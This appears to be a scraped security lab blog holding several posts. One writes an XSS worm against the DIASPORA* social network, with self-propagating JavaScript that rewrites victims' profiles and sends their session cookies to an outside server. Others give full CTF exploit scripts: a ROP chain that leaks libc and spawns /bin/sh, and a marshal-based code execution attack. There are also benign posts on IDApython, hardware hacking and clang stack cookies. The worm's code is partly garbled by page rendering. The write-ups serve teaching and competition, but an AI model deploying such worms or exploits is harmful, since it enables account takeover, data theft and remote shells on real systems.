Writing an XSS Worm

This was done while interning at Gotham Digital Science and the original blog post can be found here: http://blog.gdssecurity.com/labs/2013/5/8/writing-an-xss-worm.html

User privacy is an increasingly important part of the internet and the social network DIASPORA* prides itself upon the creed that users own the data that they publish on sites. In a modern world, security often takes precedence over belief. There’s absolutely no reason that a malicious attacker can’t take the data which DIASPORA* stores on their own servers and use it for whatever purposes they desire.

Multiple vulnerabilities including an XSS exploit manifest themselves in DIASPORA*, such that it was possible for any user to export any user’s profile data and potentially compromise every single DIASPORA* instance (or in DIASPORA* terminology, pod) running on the Internet.

To begin with the methodology for achieving this, first an initial exploit must be found as vulnerabilities are useless without a proper exploit. In the case of DIASPORA*, it is a Persistent Cross Site Scripting (XSS) vulnerability found in the user’s name as it is rendered un-encoded back on the the user’s profile (i.e. /u/user_name). DIASPORA* uses a set of JSON formatted attributes to create a navigation bar with user specific information such as name, id, and email.

 window.current_user_attributes = {
 “id”: 3,
 “guid”: “5a2d8a950e39165e”,
 “name”: “Kevin Chung”,
 “diaspora_id”: “superduper@localhost:3000”,
 “avatar”: {
…
Normal Profile Data

In searches, and the user’s public profile page their name is rendered back to other users un-encoded. This is our best medium for spreading our payload not counting sending out mass messages. In searches, the user must show up in the autocompleted form for it to be vulnerable. The full search page is not susceptible to this vulnerability.

DIASPORA* will do escaping of quotes and slashes, but it does not do any form of encoding for the name field. There is a size limit of 32 characters on each the first name and last name and the two are separated by a space in the script thus giving us 64 characters to work with. Knowing this, it is possible to change our first name to and our last name to alert(0) which would achieve the mostly boring, standard XSS testing payload. You’ll notice that the first name starts with a which closes out the original start tag and then begins its own script tag.

<script type="text/javascript">// <![CDATA[
Mentions.options.prefillMention = Mentions._contactToMention({
“id”: 3,
“guid”: “927643f9c89784b1”,
“name”: “
// ]]></script><script type="text/javascript">// <![CDATA[
 alert(0)
// ]]></script>”,
“avatar”: “/assets/user/default.png”,
“handle”: “jedi_guy@localhost:3000”,
“url”: “/people/927643f9c89784b1”
});
//]]>

Profile with XSS

Instead of just alerts, we can give ourselves a much larger space to work with by using <script src= as our first name and //goo.gl/AAAAA as our last name. The goo.gl URL should point to a JavaScript file of our choosing. Now that we are not limited by size, we can go ahead and begin propagating ourselves throughout the DIAPOSRA* pod. Fortunately, DIASPORA* leverages jQuery, so writing JavaScript will be much less verbose than it normally tends to be.

If we wish to be extremely destructive, we can simply do an AJAX GET and POST to have any user which gets hit with our payload becomes a propagator of the payload as well. We require the GET initially as DIASPORA* includes a nonce on the profile page in order to prevent Cross Site Request Forgery (CSRF) attacks and therefore our subsequent POST requires a valid nonce in order to be valid.

$(‘html’).hide();

if(window.location.pathname == ‘/profile/edit’){
window.location=”/404”;
}

else if(window.location.pathname.substr(1,2) == ‘u/’ || window.location.pathname.substr(1,6) == ‘people’){
var first = $(‘.find’).prev().html();
var second = $(‘.find’).next().html();
eval(first +”You’re Owned”+ second);
}

else{
var intervalID = setInterval(function(){
var first = $(‘.find’).prev().html();
var second = $(‘.find’).next().html();
eval(first +”You’re Owned”+ second);
},5);
}

$(document).ready(function(){
window.clearInterval(intervalID);
$(‘.message’).hide();
$(‘html’).show();
$(document.createElement(‘img’)).attr({‘src’ : ‘http://localhost/diaspora.php?cookie=’+document.cookie});
});

deploy(‘//goo.gl/AT64G’);

function deploy(payload){
$.get(‘/profile/edit’, function(data) {
var first_name = $(‘#profile_first_name’,data).val();
var last_name = $(‘#profile_last_name’,data).val();
if (first_name == ‘<script class="”find”" type="text/javascript" src="’)">// <![CDATA[
<script class=”find” src=”, ‘profile[last_name]’: payload+”>
// ]]></script><script type="text/javascript">// <![CDATA[
”,
‘profile[tag_string]’: ”,
‘tags’: tags,
‘file’: ”,
‘profile[bio]’: bio,
‘profile[location]’: loc,
‘profile[gender]’: gen,
‘profile[date][year]’: year,
‘profile[date][month]’: month,
‘profile[date][day]’: day,
‘profile[searchable]’: ‘true’,
‘commit’: ‘Update Profile’
}
);
});
}
Exploit Code

Next it is important to determine what can be used to spread our payload. The most obvious is our profile which has our malicious name. We can also adapt our script to scrape contacts and send them messages asking them to visit our profile as how many XSS worms have propagated in the past. DIASPORA* makes an additional mistake in that the search autocomplete functionality will render names un-encoded to the user. Thus users who are not exactly connected to infected users can additionally be infected by searching and finding an infected user.

Now that we’ve begun spreading ourselves through DIASPORA* we could capitalize upon what we have accessible. DIASPORA* allows users to download their photos (though this appears broken https://github.com/diaspora/diaspora/issues/1802) and an XML file containing their data (posts, contacts, messages, profile information, and a GPG key pair). We can have the JavaScript send the user’s cookies to a server as DIASPORA* makes no use of the HttpOnly flag for their session cookie. If HttpOnly was enabled it wouldn’t really matter, as we could have the XSS payload pull the XML and POST it to our server instead of having the server get it.

In summary, we were able to utilize a variety of vulnerabilities in DIASPORA* to augment the main XSS payload and potentially acquire significant amounts of user data. As should be readily evident to any web developer, no user input should ever be trusted.

Unencoded user input is of course the root cause of this issue. Input validation, and input or output encoding should always be used in any scenario where user input is taken.

HttpOnly should be on all cookies not required to be accessed by JavaScript. This is not a cure all as it is still possible to submit queries through XSS riding on the valid session stored in the cookie without stealing it.

While typical nonce based CSRF is in place, XSS is able to bypass it easily. A CSRF referrer check should be put in place for the profile page as an attacker would not be in a valid position to spoof the referrer for another user but themselves. To clarify, profile edits should be validated to only come from /profile/edit and not from any other location on DIASPORA*. While XSS can typically be used to bypass CSRF referrer checks, in this scenario the attacker would not have control over the normal edit profile page as it would be on an uninfected user. This would have successfully prevented a spread of this XSS worm.

Posted in Bugs, Exploitation Techniques | Leave a comment

Oh Compiler, You so Crazy…

For Hack NightNitin and I set about teaching students how to read and write x86 assembly. I was tasked with teaching students how to write x86. Naturally, being short on time I decided to  cheat by writing some C code, compiling it, and taking a peek at the output before walking students through how to manually compile code by hand. When I compiled my demos, there was one particular control flow structure that threw me for a loop (no pun intended.)  It was a particular kind of switch; I’d describe it to you but I may as well just share the code.

#include <stdio.h>
#include <stdlib.h>

/*
January                 31       1
February                28*      2
March                   31       3
April                   30       4
May                     31       5
June                    30       6
July                    31       7
August                  31       8
September               30       9
October	                31      10
November                30      11
December                31      12
*/
int main(int argc,char** argv){
  char buf[3];
  gets(buf); //lol
  int monthNumber = atoi(buf);
  int days;
  switch(monthNumber){
  case 1:
  case 3:
  case 5:
  case 7:
  case 8:
  case 10:
  case 12:
    days=31;
    break;

  case 4:
  case 6:
  case 9:
  case 11:
    days=30;
    break;
  case 2:
    days=28;
    break;
  default:
    puts("Whut r u doin!? Sthap");
    exit(1);
  }
  printf("The number of days in month %d is %d\n", monthNumber,days);
  exit(0);
  return 0;
}

The code is very simple, it takes the number of a month and tells you how many days are in it disregarding leap years. Now one thing I hear people say over and over again is that switches are implemented as jump tables when they are compiled. While that may be true for some switch statements or some older versions of compilers, it’s not true for this particular switch using gcc 4.6.3-1ubuntu5 with a plain Jane compile (gcc -m32 months.c -o months). Now, I was getting this all done about an hour before Hack Night so I was rather disappointed that the functionality I wanted to teach students, namely jump tables, were not being emitted and instead I saw something like this:

Disassembled months program

Disassembled months program

What happens above this little snippet of code is the call to gets and atoi. The return from atoi is put in var_c. You can see that on the middle of the first basic block that the return value from atoi is being used to shift the value 1 to the left. What happens next is the result of the shift is saved then anded with the value 0x15AA. If the result of that and is not zero the left most branch is taken and the number of months is set as 31 then printed to the screen. Now how did the compiler come up with this magic number 0x15AA? Well if you look at the binary representation of the number 0x15AA you might notice something special about it

0x15AA  ==  1010110101010

And a closer look still

1  |  0  |  1  |  0  |  1  |  1  |  0  |  1  |  0  |  1  |  0  |  1  |  0
12    11    10    9     8     7     6     5     4     3     2     1     0

Bits 12, 10, 8, 7, 5, 3 and 1 are set! The placement of the bits corresponds to cases in the switch. Now while learning about this little compiler trick was fun I didn’t think it would have made good learning material for a bunch of reversing novices so I avoided using it. But then I got thinking, this is much less readable than a jump table. IDA will very happily make jump tables look very pretty and often annotates them with the switch and case number as you will have noticed if you have played with the binary bomb from CMU. Now all I had to do was solve this problem of readability and I could go back to doing something a little more important.

Have you ever played with IDApython? It’s free and it works with IDA demo so I highly recommend you install it this instant. What I wanted to do was write a script in IDApython that would make analyzing switch statements that look like this much easier if I had a program with many switches like this.

Now I make no claim to be an IDApython guru or to have solved this problem in the general case but I hope that if you’ve never seen IDApython before this will inspire you to download and play with it .

What the script below does is take the address of the instruction that you’ve highlighted, and start disassembling forward. If it comes to an and instruction it takes the immediate value of that and and makes a list of the numbers of the bit positions that are high from the immediate operand. It then looks for the nearest jnz and calculates the address that the jnz would have jumped to and writes a comment there with the cases of the switch that would have landed you there(calculated from the immediate value.) The script will repeat this action until it reaches a jmp instruction indicating the end of the switch. This is by no means a general solution and will only work on code that looks exactly like this, but If I had a program with many switches like this I would be glad to have a tool like this to make sense of all of them.

from idaapi import *
from idc import *
from idautils import *
def bins(*a):
	if(len(a)==1):
		ret=[]
		binary=bin(a[0])[2:][::-1]
		for i in range(len(binary)):
			if(binary[i] is '1'):
				ret.append(i)
		return ret
	return map(bins, a)

ea=ScreenEA()
functionStart=GetFunctionAttr(ea,FUNCATTR_START)
print "Running on %s" % hex(functionStart)

foundAnd=0
while ea and 'jmp' not in GetDisasm(ea):
	if('and' in GetDisasm(ea)):
		if(GetOpType(ea,1)==5):#immediate
			value=GetOperandValue(ea,1)
		elif(GetOpType(ea,2)==5):#immediate
			value=GetOperandValue(ea,2)
		else:
			print "Error, no immediate Vals"
			break
		#get the cases of the switch that the value represents
		cases=bins(value)
		foundAnd=1

	if('jnz' in GetDisasm(ea) and foundAnd):
		foundAnd=0
		print GetDisasm(ea)+" GOT IT"
		for xref in XrefsFrom(ea, 0):
			if(xref.type is 21): #Ordinary_Flow
				pass
			else:
				commentEA=xref.to
				MakeComm(commentEA, str(cases))
	ea=NextHead(ea)
print "END"

If you save that to a .py file and execute it as a script in IDA (after you have installed IDApython) you will see that it had correctly identified the cases of the switch.

Annotated switch disassembly via IDApython

Annotated switch disassembly via IDApython

Posted in Code Auditing, Compilers, Static Analysis | Tagged , , , | Leave a comment

You Can’t Stop The Ropasaurus Rex PlaidCTF 2013

This past weekend, April 19th 2013 in the year of our lord, Brooklynt Overflow assembled to partake in the spectacle of pwning known as PlaidCTF. I’m particularly fond of PlaidCTF because it is the first CTF that I played in as a member of Brooklynt Overflow so many years ago and is usually on or around my birthday. Anyway, enough about me and onto the pwnage. Late in the first day I set my eyes on the RopasaurusRex pwnable for 200 points. RopasaursRex is a very simple binary with two functions.

MainAndXrefsFrom

Main function and Xrefs from it

The main function is not very interesting so lets take a look at the other one!

vulnFunc

VulnFunc();

This function is a little sexier! It makes a call to read into a buffer from STDIN for 0×100(256) bytes. Lets take a look at how big that buffer is.

VulnStack

VulnFunc()’s stack frame

Oh no! It appears that this buffer might spring a leak if that call to read is able to receive more than 136 bytes. Because this is the only data element on the stack, once we overflow it we start corrupting the run-time information located on the stack after it. Namely the saved base pointer of the previous stack frame and the return address of the current function.

Please note: All exploitation in this blog post is done on my personal computer. I’m using socat to run their binary because the binary performs no notwork operations.

socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d

Exploitation Mitigation Analysis

NX: we can statically determine if NX is enabled on the stack by checking the memory protections with readelf.

NX is enabled

NX is enabled

Stack Cookies: We can statically determine if stack cookies are in place by examining the function tails with a disassembler. You can tell from the screenshots of disassembly above that stack cookies are not enabled.

ASLR: This one is trickier. To the best of my knowledge it is impossible to tell if a remote machine has ASLR enabled or not. During the competition I skipped this step and assumed that ASLR was enabled but if you really wanted to determine if ASLR is enabled you can exploit the program and print out part of the GOT and see if it changes from run to run. lets do that.

Building an exploit that reads the GOT

Printing the GOT is very simple, just pivot to write. We are going to overwrite the return address with the address of write in the PLT (because it’s not randomized.) After the return address we are going to place a garbage return address(we will fill it later on) and then the function arguments to write, namely a file descriptor  a pointer and a length. If we were to write this call to write in C it would look like this:

#define STDOUT 1
#define read@got 0x00804832c
write(STDOUT, read@got, 4);

And when we write it as a ROP payload it looks very similar

#!/usr/bin/python
import socket
from struct import pack, unpack
def getSocket(chal):
     s=socket.socket()
     s.settimeout(5)
     s.connect(chal)
     return s
chal=('127.0.0.1',2323)

write=  0x804830c
readgot=0x804961C

bufferFiller='A'*140
rop=pack("<IIIII",  #write(1,0x804961c,4);
         write,
         0x41414141,
         1,
         readgot,
         4)

s=getSocket(chal)
s.send(bufferFiller + rop)
leakedReadGot,=unpack("<I",s.recv(4))
print hex(leakedReadGot)
s.close()
Running The Script Several Times

Running the script several times

As you can see ASLR is enabled because at each run the address of the read function and therefore the base load address of libc changes.

Now that we know ASLR and NX but not stack cookies are enabled we can work on an exploit. The good folks organizing the competition had the courtesy to provide the version of libc they were using on their boxes. Having the library that they are using enables us to calculate where the addresses of other functions are at run time. To exploit this binary I’m going to use an exploitation strategy inspired by the one outlined in the paper: Surgically returning to randomized lib(c) 

Let’s work backwards. I want to call system with /bin/sh as an argument.

Problems to overcome

  1. Get a pointer to the null terminated string “/bin/sh”
  2. Calculate the address of system
  3. Transfer control of execution to system with the string pointer as an argument

Solutions

  1.  Because of ASLR we cannot predict the address of the stack so placing the string there is out of the question, but not to worry. We can pivot into the read function to read the string from stdin into a non randomized, writable portion of memory. As it happens the .data segment is exactly 8 bytes which is just large enough to hold /bin/sh and a null byte. The address of the data segment is 0×8049620. We will pass this as an argument to read and later as an argument to system.
  2.  The address of system is not hard to calculate. By disassembling libc we can determine how far away system (or any other function for that matter) is from read. We conveniently already are able to grab the address of read because we used it to determine if ASLR is enabled. The address of system can be represented as &read - 0×39450 if you’re attacking the version of libc provided by PlaidCTF or &read - 0x3f430 if your attacking my VM.
  3.  This part is mildly tricky. At the time we create our ROP chain to achieve goals 1 and 2 we don’t know the address of system. Once we finish sending the ROP chain and the program continues executing we can’t extend or modify the ROP chain because we don’t know where the stack is. One naive approach to solving this problem might be to guess the address of the stack and pivot to read as part of your first ROP chain to write a lot of ‘ROP nops’ (address of a single return instruction) followed by the fake stack frame for system. This approach is not elegant and might take a couple thousand tries to work. What I did instead is to pivot back to the vulnerable function located at 0x80483F4. By exploiting the vulnerable function again I’m able to calculate the address of system because of the blocking call to read.  I’m also able to take control of the stack again even though I have no idea where it is.

Now all that’s left to do is find the address of a pop pop pop ret(0x080484b6) for my ROP chain for read and write and then write the final exploit!

#!/usr/bin/python
import socket
import time
from struct import pack, unpack
def shell(sock):
 command=''
 while(command != 'exit'):
 command=raw_input('$ ')
 sock.send(command + '\n')#raw_input won't grab a newline
 time.sleep(.5)
 print sock.recv(0x10000)
 return

def getSocket(chal):
 s=socket.socket()
 s.settimeout(5)
 s.connect(chal)
 return s

chal=('127.0.0.1',2323)
s=getSocket(chal)

readPLT      = 0x804832c
writePLT     = 0x804830c
pppr         = 0x80484b6
readgot      = 0x804961C
dataSeg      = 0x8049620
readc        = 0x00bf110
systemc      = 0x0039450
vulnFunction = 0x80483F4 #vulnFunction();
subForSystem = 0x009ef70 #use readc-systemc for exploiting plaid lib
subForExit   = 0x00ab3f0
bufferFiller = 'A' * 140
binsh='/bin/sh\0'

leakGOT = pack("<IIIII", writePLT, pppr, 1, readgot, 4)
writesh = pack("<IIIII", readPLT , pppr, 0, dataSeg, 8)
vulnrop = pack("<I", vulnFunction)

ropStage1 = bufferFiller + leakGOT + writesh + vulnrop

s.send(ropStage1)
time.sleep(1)
#the server is waiting for 8 bytes
#because we ROPed to read
#The next eight bytes we send go into .data
s.send('/bin/sh\0')
time.sleep(1)

readAddr, = unpack("<I", s.recv(4))
#readAddr contains the address of read in libc
#we're going to do some pointer math to find
#the addr of system and exit
system = readAddr - subForSystem
exit = readAddr - subForExit
print "&system is: %s" % hex(system)
print "&exit is: %s" % hex(exit)

#we write the address of exit as the return address
#for system to avoid a segfault after we exit our shell
getshell = pack("<III", system, exit, dataSeg)

ropStage2 = bufferFiller + getshell

s.send(ropStage2)
shell(s)#interact with our shell =D

And when we run it:

We can run arbitrary shell commands

We can run arbitrary shell commands

There is one other exploitation strategy that is just as effective as this one and may be considered a little better because it involves sending less traffic over the network. The technique is known as GOT overwrite. Instead of pivoting into back into the vulnerable function to re-exploit the buffer overflow I could have as part of my first ROP chain used read to set the GOT entry for write to be the address of system and then pivoted to write‘s entry in the PLT which would execute the system function. If you are interested in how to exploit this challenge using a GOT overwrite you can read about it here.

Posted in Uncategorized | Tagged , , , , , , , | 7 Comments

Hardware Hacking Week Recap

If you were busy in Cancun over spring break, you missed out on our hardware hacking workshop in the ISIS lab!

Hardware hacking is an important area of security research because while vulnerabilities in software and network interfaces have more visibility, vendors of hardware systems typically do not expect attacks at the hardware level to the same extent.  This may lead to poor consideration of security at the hardware level and leave systems open to attack.   Vulnerable systems can range from every day electronics like Blu-ray players, printers, and telephones to critical systems like medical electronics, core routers, and industrial control systems.

Here is an overview of some of the topics we covered at the workshop and a list of resources in case you want to get yourself up to speed on what you will need to know to work with hardware.

Current, Voltage, and Basic Circuits:  These are the basics that you will need to know about to poke around on a printed circuit board (PCB).

More advanced circuit elements:  You will probably run into these, but you might not necessarily need to understand the math behind them.

Bus Protocols:  These are common protocols used to connect chips and embedded devices for communication, programming, and debugging.

Tools to help in your task:

Tips on getting started:

  • Look for markings on ICs.  Manufacturer imprints and model numbers can give you a general idea of what a chip does, and a web search will usually get you a white paper describing the pin-outs and functions of a chip.  Check http://www.digikey.com/http://www.findchips.com/, and of course, http://www.google.com/
  • Try to determine a floorplan for the PCB.  PCB designers typically partition PCBs into functional “rooms” and keep components for similar functions and sub-systems within these areas.  Power supplies, for example, will typically have heavy copper traces, voltage regulator ICs, and large capacitors nearby.  Radios will typically be covered with shielding.  Broadly modelling the PCB floorplan may help you understand functions of components and what they are doing in a particular area.
  • Look for dedicated bus pins on ICs that you find, and start looking from there.  A logic analyzer or oscilloscope could help you in locating useful signals.  You might get lucky and find a serial console.
  • Find online communities dedicated to your target.  Large groups may already exist dedicated to particular manufacturers and products, and there may already be community documentation that can help you understand your target.

Projects:  A key to getting started with anything new is picking a project and setting goals for youself.  Students brought in a number of interesting projects consisting of old hardware to work on during the workshop:

Now that you’ve got the lay of the land, it’s time to dive in.  Good Luck, and try not to let the magic smoke escape!

Posted in Uncategorized | Leave a comment

UCSB iCTF 2013: Water Write-Up

Introduction

Last month, Brooklynt Overflow competed in the UCSB iCTF competition. Unlike some of the other competitions we’ve been playing in lately, this was an attack/defense style competition in which we had a Virtual Machine containing 9 vulnerable services; our goals were to find the vulnerabilities within the services, write exploits to be launched against our competitors and patch our services before anyone could attack us.

The Challenge

In this write-up, we’ll be focusing on the vulnerable Water System Server. The code is broken into WaterSystemServer.py and MeasurementLib.py, which can be found below.

WaterSystemServer.py:

#!/usr/bin/env python

from socket import *
from MeasurementLib import *
import base64
import marshal
import thread
import types

flag = None  
cookie = None
flag_id = None

measurements = set([])

def connection_handler(clientsock,addr):
  try:
    clientsock.send("Welcome back. Please insert your measurement\n:")
    data = clientsock.recv(BUFSIZ)
    if not data: return
    r = calculate(data)
    if not r:
      if int(data.split(',')[-1]) == flag_id:
        clientsock.send("%s\n"%flag)
      clientsock.close()
    else:  
      if data in measurements:
          clientsock.send("Thanks, but we have already seen this measurement\n")
          clientsock.close()
      else:
        measurements.add(data)
        clientsock.send("Floods ahead! Please enter your command\n:")
        data = clientsock.recv(BUFSIZ)  
        types.FunctionType(marshal.loads(base64.b64decode(data)), globals(), "callback")(clientsock)
        clientsock.close()
  except Exception as e: print e
  return

if __name__ == "__main__":
  
  HOST = "0.0.0.0"
  PORT = 3333
  BUFSIZ = 1024
  ADDR = (HOST, PORT)
  serversock = socket(AF_INET, SOCK_STREAM)
  serversock.bind(ADDR)
  serversock.listen(2)

  while True:
    clientsock, addr = serversock.accept()
    thread.start_new_thread(connection_handler, (clientsock, addr))
  serversock.close()  

MeasurementLib.py:

import math

def calculate(sequence):
  m = []
  for i in range(1,10):
    m.append(math.log10(1+1.0/i))

  nums = [x[0] for x in sequence.split(",")]

  o = {}

  for num in nums:
    if num in o:
      o[num] += 1
    else:
      o[num] = 1
  
  if len(o) != 9: return False

  else:
    for d in sorted(o):
      if not (float(o[d]) / sum([int(x) for x in o.values()]) >= m[int(d)-1] - 0.05 and float(o[d]) / sum([int(x) for x in o.values()]) <= m[int(d)-1] + 0.05):
	return False
  return True

The Exploit

The first thing we notice is that the service starts out by asking the user for some measurements, which it then runs a basic calculation on. After analyzing MeasurementLib.py, we see that the calculation is based simply on the first digit of each of the measurements provided and determines if the frequency of each digit is within an acceptable range. With this knowledge, combined with a capture of an attack from another team, we were able to determine that the measurements had to match the following criteria:

{'1': 4, '2': 2, '3': 1, '4': 1, '5': 1, '6': 1, '7': 1, '8': 1, '9': 1}

In other words, we had to supply a measurement consisting of 13 numbers, with 4 of them starting with a 1, 2 starting with a 2, and the rest containing just one each of 3 through 9. Because the service running on each teams VM kept a log of what measurements if had already processed, we put together the following loop to generate new combinations each time we ran our code.

import random

count = [4, 2, 1, 1, 1, 1, 1, 1, 1]
inp = []
for x in range(1,10):
    for y in range(count[x-1]):
        tmp = str(x) + str(random.randint(1,100000))
        inp.append(tmp)
measurements = ','.join(inp)

Now that we had gotten past the check, we were at the vulnerable section where we could retrieve the flag. The server asked for a command, which was then run through the following line:

types.FunctionType(marshal.loads(base64.b64decode(data)), globals(), "callback")(clientsock)

This line of code performs no check on the data, and ultimately executes whatever is passed to it. From the inner-most function, it performs a Base64 decode, deserializes marshaled code, and finally executes the code with a parameter of `clientsock`. Reversing this functionality, we came up with the following python script to create our payload, and retrieve the flag:

import marshal
import base64

def callback(self):
    clientsock.send(str(flag) + "\n")

payload = base64.b64encode(marshal.dumps(callback.func_code))
print payload

In order to submit our exploit, we had to use iCTF’s Exploit template. While doing this, we realized that there was a backdoor to get the flag out that we had completely overlooked – if we entered measurements that did not pass the calculation check, but included the `flag_id` as the last element, the flag would be returned. The Exploit class provided always receives the flag_id as a parameter, but given that we had already constructed our payload, we continued with our original plan. Combining the previous pieces of code together in the Exploit template yielded the following code:

#####################################################

# -*- coding: utf-8 -*-


class Exploit(object):

    def callback(self):
        clientsock.send(str(flag) + "\n")

    def execute(self, ip, port, flag_id):
        
        ## Exploit specific imports
        import re, base64, marshal, random, socket
        
        ## Set up socket to water service
        s = socket.socket()
        s.connect((ip, port))
        s.settimeout(3)

        ## Generate measurements
        count = [4, 2, 1, 1, 1, 1, 1, 1, 1]
        inp = []
        for x in range(1,10):
                for y in range(count[x-1]):
                        tmp = str(x) + str(random.randint(1,100000))
                        inp.append(tmp)
        measurements = ','.join(inp)

        ## Send measurements
        s.send(str(measurements)+"\n")
        s.recv(1024)
        
        ## Generate payload
        payload = base64.b64encode(marshal.dumps(self.callback.func_code))
        
        ## Send payload
        s.send(payload + "\n")

        ## Recover the flag
        flag = s.recv(1024).rstrip()
        flag = re.compile('(FLG\w+)').search(flag).groups(1)[0]
        self.flag = flag.rstrip()

    def result(self):
        return {'FLAG' : self.flag }
        
#########################################################

It took several tries to get our exploit accepted (we weren’t stripping the `FLG` from the returned flag originally, so the testbed wasn’t validating it properly), but ultimately the exploit was verified.

The Patch

Now that we knew how to attack the Water Server, it was time to correct our own service. We changed the code in two places: (1) To remove the backdoor with the `flag_id` and (2) To remove the vulnerable code execution that we took advantage of in our exploit. Correcting (1) was done by changing the line that sent the flag to instead close the connection, while (2) was fixed by looking for the function “callback” in the marshaled data and closing the connection if it was found. The modified code to protect our service can be found below.

#!/usr/bin/env python

from socket import *
from MeasurementLib import *
import base64
import marshal
import thread
import types

flag = None  
cookie = None
flag_id = None

measurements = set([])

def connection_handler(clientsock,addr):
  try:
    clientsock.send("Welcome back. Please insert your measurement\n:")
    data = clientsock.recv(BUFSIZ)
    if not data: return
    r = calculate(data)
    if not r:
      ## Original code
      # if int(data.split(',')[-1]) == flag_id:
      #  clientsock.send("%s\n"%flag)
      # clientsock.close()
      ##
      ## Prevent backdoor to flag
      if int(data.split(',')[-1]) == flag_id:
        clientsock.close()
      ##
    else:  
      if data in measurements:
          clientsock.send("Thanks, but we have already seen this measurement\n")
          clientsock.close()
      else:
        measurements.add(data)
        clientsock.send("Floods ahead! Please enter your command\n:")
        data = clientsock.recv(BUFSIZ)  
        ## Prevent execution of user code by checking for expected function name     
        if "callback" in base64.b64decode(data):
          clientsock.close()
        ##
        types.FunctionType(marshal.loads(base64.b64decode(data)), globals(), "callback")(clientsock)
        clientsock.close()
  except Exception as e: print e
  return

if __name__ == "__main__":
  
  HOST = "0.0.0.0"
  PORT = 3333
  BUFSIZ = 1024
  ADDR = (HOST, PORT)
  serversock = socket(AF_INET, SOCK_STREAM)
  serversock.bind(ADDR)
  serversock.listen(2)

  while True:
    clientsock, addr = serversock.accept()
    thread.start_new_thread(connection_handler, (clientsock, addr))
  serversock.close()  

Final Thoughts

This was a great competition, and a welcomed change from the jeopardy style games that have been running the past few weeks – a huge thanks to UCSB for all of their hard work setting this up! Brooklynt Overflow finished in 21st place, but we’ll be back next year to move up in the rankings!

Links

All of the code in this post can be found in the ISIS Lab Github CTF-Solutions Repo

Posted in CTF | Tagged , | Leave a comment

We Solved Security!

We hope you enjoyed our April Fools’ Joke!  Subscribe to our blog for technical posts on offensive security.  Check out our program here.

The ISIS Lab has teamed up with Microsoft, Google, Adobe, and Carnegie Mellon University Cylab to fix security.  Our distributed static binary analysis whitebox fuzzing sandbox has found all the bugs ever.

Experts say that this news will force everyone who has exploits for unpatched vulnerabilities to use them as soon as possible, resulting in global cybernuclear war.  We recommend you disconnect all your infrastructure and equipment from the internet until we’ve been able to dispatch our solution to you.

The pricing model for this security solution is still being discussed, more news as this story develops.

Posted in Jokes | Tagged , , , | 9 Comments

Clang does not compile with stack cookies by default.

Just a bit of warning about clang. By the default state the clang compiler
does not install stack cookie checks to its function calls.

Given a simple function that managers buffers:

int inner(char * input) {
    char buf[8];
    strcpy(buf, input);
    return(-0);
}
 
int main(int argc, char * argv[]) {
    inner(argv[1]);
    return(-0);
}

a binary compiled with gcc (gccbin) and clang (clangbin) have been
generated.

$ ./gccbin `python -c 'print "A"*40'`
*** stack smashing detected ***: ./gccbin terminated
Segmentation fault

$ ./clangbin `python -c 'print "A"*40'`
Segmentation fault

Examining the binaries show that gcc places extra instructions in
to do a stack cookie check by default:

0000000000400564 :
  400564:       55                      push   rbp
  400565:       48 89 e5                mov    rbp,rsp
  400568:       48 83 ec 20             sub    rsp,0x20
  40056c:       48 89 7d e8             mov    QWORD PTR [rbp-0x18],rdi
  400570:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  400577:       00 00 
  400579:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  40057d:       31 c0                   xor    eax,eax
  40057f:       48 8b 55 e8             mov    rdx,QWORD PTR [rbp-0x18]
  400583:       48 8d 45 f0             lea    rax,[rbp-0x10]
  400587:       48 89 d6                mov    rsi,rdx
  40058a:       48 89 c7                mov    rdi,rax
  40058d:       e8 be fe ff ff          call   400450 
  400592:       b8 00 00 00 00          mov    eax,0x0
  400597:       48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]
  40059b:       64 48 33 14 25 28 00    xor    rdx,QWORD PTR fs:0x28
  4005a2:       00 00 
  4005a4:       74 05                   je     4005ab 
  4005a6:       e8 b5 fe ff ff          call   400460 
  4005ab:       c9                      leave  
  4005ac:       c3                      ret   

But clang does not by default:

0000000000400500 :
  400500:       55                      push   rbp
  400501:       48 89 e5                mov    rbp,rsp
  400504:       48 83 ec 20             sub    rsp,0x20
  400508:       48 8d 45 f0             lea    rax,[rbp-0x10]
  40050c:       48 89 7d f8             mov    QWORD PTR [rbp-0x8],rdi
  400510:       48 8b 75 f8             mov    rsi,QWORD PTR [rbp-0x8]
  400514:       48 89 c7                mov    rdi,rax
  400517:       e8 d4 fe ff ff          call   4003f0 
  40051c:       b9 00 00 00 00          mov    ecx,0x0
  400521:       48 89 45 e8             mov    QWORD PTR [rbp-0x18],rax
  400525:       89 c8                   mov    eax,ecx
  400527:       48 83 c4 20             add    rsp,0x20
  40052b:       5d                      pop    rbp
  40052c:       c3                      ret    
  40052d:       0f 1f 00                nop    DWORD PTR [rax]

In order for clang to emit stack cookies, it must be compiled with the -fstack-protector flag:

$ clang -g -Wall -fstack-protector -o clangwithstackcookiebin main.c

$ ./clangwithstackcookiebin `python -c 'print "A"*40'`
*** stack smashing detected ***: ./clangwithstackcookiebin terminated
Segmentation fault

And as we can see from the disassembly, the stack cookie value (taken from fs:0×28 on intel 64 bit) is used as a stack cookie.

0000000000000000 :
   0:   55                      push   rbp
   1:   48 89 e5                mov    rbp,rsp
   4:   48 83 ec 30             sub    rsp,0x30
   8:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
   f:   00 00 
  11:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  15:   48 89 7d f0             mov    QWORD PTR [rbp-0x10],rdi
  19:   48 8d 45 e8             lea    rax,[rbp-0x18]
  1d:   48 89 7d e0             mov    QWORD PTR [rbp-0x20],rdi
  21:   48 89 c7                mov    rdi,rax
  24:   48 8b 75 e0             mov    rsi,QWORD PTR [rbp-0x20]
  28:   e8 00 00 00 00          call   2d 
  2d:   64 48 8b 34 25 28 00    mov    rsi,QWORD PTR fs:0x28
  34:   00 00 
  36:   48 8b 7d f8             mov    rdi,QWORD PTR [rbp-0x8]
  3a:   48 39 fe                cmp    rsi,rdi
  3d:   48 89 45 d8             mov    QWORD PTR [rbp-0x28],rax
  41:   0f 85 0b 00 00 00       jne    52 
  47:   b8 00 00 00 00          mov    eax,0x0
  4c:   48 83 c4 30             add    rsp,0x30
  50:   5d                      pop    rbp
  51:   c3                      ret    
  52:   e8 00 00 00 00          call   57 
